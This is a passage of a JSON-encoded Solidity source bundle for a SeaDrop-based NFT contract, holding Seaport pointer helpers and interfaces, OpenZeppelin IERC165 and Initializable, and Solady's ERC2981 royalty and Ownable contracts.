CalldataPointer from BasicOrderParameters.\n *\n * @param obj The BasicOrderParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n BasicOrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from AdditionalRecipient.\n *\n * @param obj The AdditionalRecipient object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n AdditionalRecipient memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from AdditionalRecipient.\n *\n * @param obj The AdditionalRecipient object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n AdditionalRecipient calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OrderParameters.\n *\n * @param obj The OrderParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderParameters.\n *\n * @param obj The OrderParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Order.\n *\n * @param obj The Order object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Order memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Order.\n *\n * @param obj The Order object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Order calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from AdvancedOrder.\n *\n * @param obj The AdvancedOrder object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n AdvancedOrder memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from AdvancedOrder.\n *\n * @param obj The AdvancedOrder object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n AdvancedOrder calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from OrderStatus.\n *\n * @param obj The OrderStatus object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n OrderStatus memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from OrderStatus.\n *\n * @param obj The OrderStatus object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n OrderStatus calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from CriteriaResolver.\n *\n * @param obj The CriteriaResolver object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n CriteriaResolver memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from CriteriaResolver.\n *\n * @param obj The CriteriaResolver object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n CriteriaResolver calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Fulfillment.\n *\n * @param obj The Fulfillment object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Fulfillment memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Fulfillment.\n *\n * @param obj The Fulfillment object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Fulfillment calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from FulfillmentComponent.\n *\n * @param obj The FulfillmentComponent object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n FulfillmentComponent memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from FulfillmentComponent.\n *\n * @param obj The FulfillmentComponent object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n FulfillmentComponent calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from Execution.\n *\n * @param obj The Execution object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n Execution memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from Execution.\n *\n * @param obj The Execution object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n Execution calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a MemoryPointer from ZoneParameters.\n *\n * @param obj The ZoneParameters object.\n *\n * @return ptr The MemoryPointer.\n */\n function toMemoryPointer(\n ZoneParameters memory obj\n ) internal pure returns (MemoryPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n\n /**\n * @dev Get a CalldataPointer from ZoneParameters.\n *\n * @param obj The ZoneParameters object.\n *\n * @return ptr The CalldataPointer.\n */\n function toCalldataPointer(\n ZoneParameters calldata obj\n ) internal pure returns (CalldataPointer ptr) {\n assembly {\n ptr := obj\n }\n }\n}\n" }, "lib/seaport/lib/seaport-types/src/interfaces/ContractOffererInterface.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.13;\n\nimport {ReceivedItem, Schema, SpentItem} from \"../lib/ConsiderationStructs.sol\";\nimport {IERC165} from \"../interfaces/IERC165.sol\";\n\n/**\n * @title ContractOffererInterface\n * @notice Contains the minimum interfaces needed to interact with a contract\n * offerer.\n */\ninterface ContractOffererInterface is IERC165 {\n /**\n * @dev Generates an order with the specified minimum and maximum spent\n * items, and optional context (supplied as extraData).\n *\n * @param fulfiller The address of the fulfiller.\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n *\n * @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n */\n function generateOrder(\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /**\n * @dev Ratifies an order with the specified offer, consideration, and\n * optional context (supplied as extraData).\n *\n * @param offer The offer items.\n * @param consideration The consideration items.\n * @param context Additional context of the order.\n * @param orderHashes The hashes to ratify.\n * @param contractNonce The nonce of the contract.\n *\n * @return ratifyOrderMagicValue The magic value returned by the contract\n * offerer.\n */\n function ratifyOrder(\n SpentItem[] calldata offer,\n ReceivedItem[] calldata consideration,\n bytes calldata context, // encoded based on the schemaID\n bytes32[] calldata orderHashes,\n uint256 contractNonce\n ) external returns (bytes4 ratifyOrderMagicValue);\n\n /**\n * @dev View function to preview an order generated in response to a minimum\n * set of received items, maximum set of spent items, and context\n * (supplied as extraData).\n *\n * @param caller The address of the caller (e.g. Seaport).\n * @param fulfiller The address of the fulfiller (e.g. the account\n * calling Seaport).\n * @param minimumReceived The minimum items that the caller is willing to\n * receive.\n * @param maximumSpent The maximum items the caller is willing to spend.\n * @param context Additional context of the order.\n *\n * @return offer A tuple containing the offer items.\n * @return consideration A tuple containing the consideration items.\n */\n function previewOrder(\n address caller,\n address fulfiller,\n SpentItem[] calldata minimumReceived,\n SpentItem[] calldata maximumSpent,\n bytes calldata context // encoded based on the schemaID\n ) external view returns (SpentItem[] memory offer, ReceivedItem[] memory consideration);\n\n /**\n * @dev Gets the metadata for this contract offerer.\n *\n * @return name The name of the contract offerer.\n * @return schemas The schemas supported by the contract offerer.\n */\n function getSeaportMetadata() external view returns (string memory name, Schema[] memory schemas); // map to Seaport Improvement Proposal IDs\n\n function supportsInterface(bytes4 interfaceId) external view override returns (bool);\n\n // Additional functions and/or events based on implemented schemaIDs\n}\n" }, "lib/openzeppelin-contracts/contracts/utils/introspection/IERC165.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.19;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n" }, "src/interfaces/ISeaDropTokenContractMetadata.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\ninterface ISeaDropTokenContractMetadata {\n /**\n * @dev Emit an event for token metadata reveals/updates,\n * according to EIP-4906.\n *\n * @param _fromTokenId The start token id.\n * @param _toTokenId The end token id.\n */\n event BatchMetadataUpdate(uint256 _fromTokenId, uint256 _toTokenId);\n\n /**\n * @dev Emit an event when the URI for the collection-level metadata\n * is updated.\n */\n event ContractURIUpdated(string newContractURI);\n\n /**\n * @dev Emit an event with the previous and new provenance hash after\n * being updated.\n */\n event ProvenanceHashUpdated(bytes32 previousHash, bytes32 newHash);\n\n /**\n * @dev Emit an event when the EIP-2981 royalty info is updated.\n */\n event RoyaltyInfoUpdated(address receiver, uint256 basisPoints);\n\n /**\n * @notice Throw if the max supply exceeds uint64, a limit\n * due to the storage of bit-packed variables.\n */\n error CannotExceedMaxSupplyOfUint64(uint256 got);\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after the mint has started.\n */\n error ProvenanceHashCannotBeSetAfterMintStarted();\n\n /**\n * @dev Revert with an error when attempting to set the provenance\n * hash after it has already been set.\n */\n error ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param tokenURI The new base URI to set.\n */\n function setBaseURI(string calldata tokenURI) external;\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external;\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external;\n\n /**\n * @notice Sets the default royalty information.\n *\n * Requirements:\n *\n * - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of\n * 10_000 basis points.\n */\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external;\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view returns (string memory);\n\n /**\n * @notice Returns the contract URI.\n */\n function contractURI() external view returns (string memory);\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view returns (bytes32);\n}\n" }, "src/interfaces/IERC1155ContractMetadata.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"./ISeaDropTokenContractMetadata.sol\";\n\ninterface IERC1155ContractMetadata is ISeaDropTokenContractMetadata {\n /**\n * @dev A struct representing the supply info for a token id,\n * packed into one storage slot.\n *\n * @param maxSupply The max supply for the token id.\n * @param totalSupply The total token supply for the token id.\n * Subtracted when an item is burned.\n * @param totalMinted The total number of tokens minted for the token id.\n */\n struct TokenSupply {\n uint64 maxSupply; // 64/256 bits\n uint64 totalSupply; // 128/256 bits\n uint64 totalMinted; // 192/256 bits\n }\n\n /**\n * @dev Emit an event when the max token supply for a token id is updated.\n */\n event MaxSupplyUpdated(uint256 tokenId, uint256 newMaxSupply);\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the max token\n * supply.\n */\n error MintExceedsMaxSupply(uint256 total, uint256 maxSupply);\n\n /**\n * @notice Sets the max supply for a token id and emits an event.\n *\n * @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external;\n\n /**\n * @notice Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @notice Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @notice Returns the max token supply for a token id.\n */\n function maxSupply(uint256 tokenId) external view returns (uint256);\n\n /**\n * @notice Returns the total supply for a token id.\n */\n function totalSupply(uint256 tokenId) external view returns (uint256);\n\n /**\n * @notice Returns the total minted for a token id.\n */\n function totalMinted(uint256 tokenId) external view returns (uint256);\n}\n" }, "lib/solady/src/tokens/ERC2981.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC2981 NFT Royalty Standard implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC2981.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/common/ERC2981.sol)\nabstract contract ERC2981 {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The royalty fee numerator exceeds the fee denominator.\n error RoyaltyOverflow();\n\n /// @dev The royalty receiver cannot be the zero address.\n error RoyaltyReceiverIsZeroAddress();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The default royalty info is given by:\n /// ```\n /// let packed := sload(_ERC2981_MASTER_SLOT_SEED)\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n ///\n /// The per token royalty info is given by.\n /// ```\n /// mstore(0x00, tokenId)\n /// mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n /// let packed := sload(keccak256(0x00, 0x40))\n /// let receiver := shr(96, packed)\n /// let royaltyFraction := xor(packed, shl(96, receiver))\n /// ```\n uint256 private constant _ERC2981_MASTER_SLOT_SEED = 0xaa4ec00224afccfdb7;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC2981 */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Checks that `_feeDenominator` is non-zero.\n constructor() {\n require(_feeDenominator() != 0, \"Fee denominator cannot be zero.\");\n }\n\n /// @dev Returns the denominator for the royalty amount.\n /// Defaults to 10000, which represents fees in basis points.\n /// Override this function to return a custom amount if needed.\n function _feeDenominator() internal pure virtual returns (uint96) {\n return 10000;\n }\n\n /// @dev Returns true if this contract implements the interface defined by `interfaceId`.\n /// See: https://eips.ethereum.org/EIPS/eip-165\n /// This function call must use less than 30000 gas.\n function supportsInterface(bytes4 interfaceId) public view virtual returns (bool result) {\n /// @solidity memory-safe-assembly\n assembly {\n let s := shr(224, interfaceId)\n // ERC165: 0x01ffc9a7, ERC2981: 0x2a55205a.\n result := or(eq(s, 0x01ffc9a7), eq(s, 0x2a55205a))\n }\n }\n\n /// @dev Returns the `receiver` and `royaltyAmount` for `tokenId` sold at `salePrice`.\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n public\n view\n virtual\n returns (address receiver, uint256 royaltyAmount)\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n let packed := sload(keccak256(0x00, 0x40))\n receiver := shr(96, packed)\n if iszero(receiver) {\n packed := sload(mload(0x20))\n receiver := shr(96, packed)\n }\n let x := salePrice\n let y := xor(packed, shl(96, receiver)) // `feeNumerator`.\n // Overflow check, equivalent to `require(y == 0 || x <= type(uint256).max / y)`.\n // Out-of-gas revert. Should not be triggered in practice, but included for safety.\n returndatacopy(returndatasize(), returndatasize(), mul(y, gt(x, div(not(0), y))))\n royaltyAmount := div(mul(x, y), feeDenominator)\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function _setDefaultRoyalty(address receiver, uint96 feeNumerator) internal virtual {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n sstore(_ERC2981_MASTER_SLOT_SEED, or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the default royalty `receiver` and `feeNumerator` to zero.\n function _deleteDefaultRoyalty() internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n sstore(_ERC2981_MASTER_SLOT_SEED, 0)\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId`.\n ///\n /// Requirements:\n /// - `receiver` must not be the zero address.\n /// - `feeNumerator` must not be greater than the fee denominator.\n function _setTokenRoyalty(uint256 tokenId, address receiver, uint96 feeNumerator)\n internal\n virtual\n {\n uint256 feeDenominator = _feeDenominator();\n /// @solidity memory-safe-assembly\n assembly {\n feeNumerator := shr(160, shl(160, feeNumerator))\n if gt(feeNumerator, feeDenominator) {\n mstore(0x00, 0x350a88b3) // `RoyaltyOverflow()`.\n revert(0x1c, 0x04)\n }\n let packed := shl(96, receiver)\n if iszero(packed) {\n mstore(0x00, 0xb4457eaa) // `RoyaltyReceiverIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), or(packed, feeNumerator))\n }\n }\n\n /// @dev Sets the royalty `receiver` and `feeNumerator` for `tokenId` to zero.\n function _resetTokenRoyalty(uint256 tokenId) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x00, tokenId)\n mstore(0x20, _ERC2981_MASTER_SLOT_SEED)\n sstore(keccak256(0x00, 0x40), 0)\n }\n }\n}\n" }, "lib/solady/src/auth/Ownable.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple single owner authorization mixin.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/auth/Ownable.sol)\n/// @dev While the ownable portion follows\n/// [EIP-173](https://eips.ethereum.org/EIPS/eip-173) for compatibility,\n/// the nomenclature for the 2-step ownership handover may be unique to this codebase.\nabstract contract Ownable {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The caller is not authorized to call the function.\n error Unauthorized();\n\n /// @dev The `newOwner` cannot be the zero address.\n error NewOwnerIsZeroAddress();\n\n /// @dev The `pendingOwner` does not have a valid handover request.\n error NoHandoverRequest();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* EVENTS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The ownership is transferred from `oldOwner` to `newOwner`.\n /// This event is intentionally kept the same as OpenZeppelin's Ownable to be\n /// compatible with indexers and [EIP-173](https://eips.ethereum.org/EIPS/eip-173),\n /// despite it not being as lightweight as a single argument event.\n event OwnershipTransferred(address indexed oldOwner, address indexed newOwner);\n\n /// @dev An ownership handover to `pendingOwner` has been requested.\n event OwnershipHandoverRequested(address indexed pendingOwner);\n\n /// @dev The ownership handover to `pendingOwner` has been canceled.\n event OwnershipHandoverCanceled(address indexed pendingOwner);\n\n /// @dev `keccak256(bytes(\"OwnershipTransferred(address,address)\"))`.\n uint256 private constant _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE =\n 0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverRequested(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE =\n 0xdbf36a107da19e49527a7176a1babf963b4b0ff8cde35ee35d6cd8f1f9ac7e1d;\n\n /// @dev `keccak256(bytes(\"OwnershipHandoverCanceled(address)\"))`.\n uint256 private constant _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE =\n 0xfa7b8eab7da67f412cc9575ed43464468f9bfbae89d1675917346ca6d8fe3c92;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The owner slot is given by: `not(_OWNER_SLOT_NOT)`.\n /// It is intentionally chosen to be a high value\n /// to avoid collision with lower slots.\n /// The choice of manual storage layout is to enable compatibility\n /// with both regular and upgradeable contracts.\n uint256 private constant _OWNER_SLOT_NOT = 0x8b78c6d8;\n\n /// The ownership handover slot of `newOwner` is given by:\n /// ```\n /// mstore(0x00, or(shl(96, user), _HANDOVER_SLOT_SEED))\n /// let handoverSlot := keccak256(0x00, 0x20)\n /// ```\n /// It stores the expiry timestamp of the two-step ownership handover.\n uint256 private constant _HANDOVER_SLOT_SEED = 0x389a75e1;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* INTERNAL FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Initializes the owner directly without authorization guard.\n /// This function must be called upon initialization,\n /// regardless of whether the contract is upgradeable or not.\n /// This is to enable generalization to both regular and upgradeable contracts,\n /// and to save gas in case the initial owner is not the caller.\n /// For performance reasons, this function will not check if there\n /// is an existing owner.\n function _initializeOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Store the new value.\n sstore(not(_OWNER_SLOT_NOT), newOwner)\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, 0, newOwner)\n }\n }\n\n /// @dev Sets the owner directly without authorization guard.\n function _setOwner(address newOwner) internal virtual {\n /// @solidity memory-safe-assembly\n assembly {\n let ownerSlot := not(_OWNER_SLOT_NOT)\n // Clean the upper 96 bits.\n newOwner := shr(96, shl(96, newOwner))\n // Emit the {OwnershipTransferred} event.\n log3(0, 0, _OWNERSHIP_TRANSFERRED_EVENT_SIGNATURE, sload(ownerSlot), newOwner)\n // Store the new value.\n sstore(ownerSlot, newOwner)\n }\n }\n\n /// @dev Throws if the sender is not the owner.\n function _checkOwner() internal view virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // If the caller is not the stored owner, revert.\n if iszero(eq(caller(), sload(not(_OWNER_SLOT_NOT)))) {\n mstore(0x00, 0x82b42900) // `Unauthorized()`.\n revert(0x1c, 0x04)\n }\n }\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PUBLIC UPDATE FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Allows the owner to transfer the ownership to `newOwner`.\n function transferOwnership(address newOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(shl(96, newOwner)) {\n mstore(0x00, 0x7448fbae) // `NewOwnerIsZeroAddress()`.\n revert(0x1c, 0x04)\n }\n }\n _setOwner(newOwner);\n }\n\n /// @dev Allows the owner to renounce their ownership.\n function renounceOwnership() public payable virtual onlyOwner {\n _setOwner(address(0));\n }\n\n /// @dev Request a two-step ownership handover to the caller.\n /// The request will automatically expire in 48 hours (172800 seconds) by default.\n function requestOwnershipHandover() public payable virtual {\n unchecked {\n uint256 expires = block.timestamp + ownershipHandoverValidFor();\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to `expires`.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), expires)\n // Emit the {OwnershipHandoverRequested} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_REQUESTED_EVENT_SIGNATURE, caller())\n }\n }\n }\n\n /// @dev Cancels the two-step ownership handover to the caller, if any.\n function cancelOwnershipHandover() public payable virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, caller())\n sstore(keccak256(0x0c, 0x20), 0)\n // Emit the {OwnershipHandoverCanceled} event.\n log2(0, 0, _OWNERSHIP_HANDOVER_CANCELED_EVENT_SIGNATURE, caller())\n }\n }\n\n /// @dev Allows the owner to complete the two-step ownership handover to `pendingOwner`.\n /// Reverts if there is no existing ownership handover requested by `pendingOwner`.\n function completeOwnershipHandover(address pendingOwner) public payable virtual onlyOwner {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute and set the handover slot to 0.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n let handoverSlot := keccak256(0x0c, 0x20)\n // If the handover does not exist, or has expired.\n if gt(timestamp(), sload(handoverSlot)) {\n mstore(0x00, 0x6f5e8818) // `NoHandoverRequest()`.\n revert(0x1c, 0x04)\n }\n // Set the handover slot to 0.\n sstore(handoverSlot, 0)\n }\n _setOwner(pendingOwner);\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* PUBLIC READ FUNCTIONS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the owner of the contract.\n function owner() public view virtual returns (address result) {\n /// @solidity memory-safe-assembly\n assembly {\n result := sload(not(_OWNER_SLOT_NOT))\n }\n }\n\n /// @dev Returns the expiry timestamp for the two-step ownership handover to `pendingOwner`.\n function ownershipHandoverExpiresAt(address pendingOwner)\n public\n view\n virtual\n returns (uint256 result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n // Compute the handover slot.\n mstore(0x0c, _HANDOVER_SLOT_SEED)\n mstore(0x00, pendingOwner)\n // Load the handover slot.\n result := sload(keccak256(0x0c, 0x20))\n }\n }\n\n /// @dev Returns how long a two-step ownership handover is valid for in seconds.\n function ownershipHandoverValidFor() public view virtual returns (uint64) {\n return 48 * 3600;\n }\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* MODIFIERS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Marks a function as only callable by the owner.\n modifier onlyOwner() virtual {\n _checkOwner();\n _;\n }\n}\n" }, "lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol": { "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol)\n\npragma solidity ^0.8.19;\n\nimport \"../../utils/AddressUpgradeable.sol\";\n\n/**\n * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an\n * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n *\n * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be\n * reused. This mechanism prevents re-execution of each \"step\" but allows the creation of 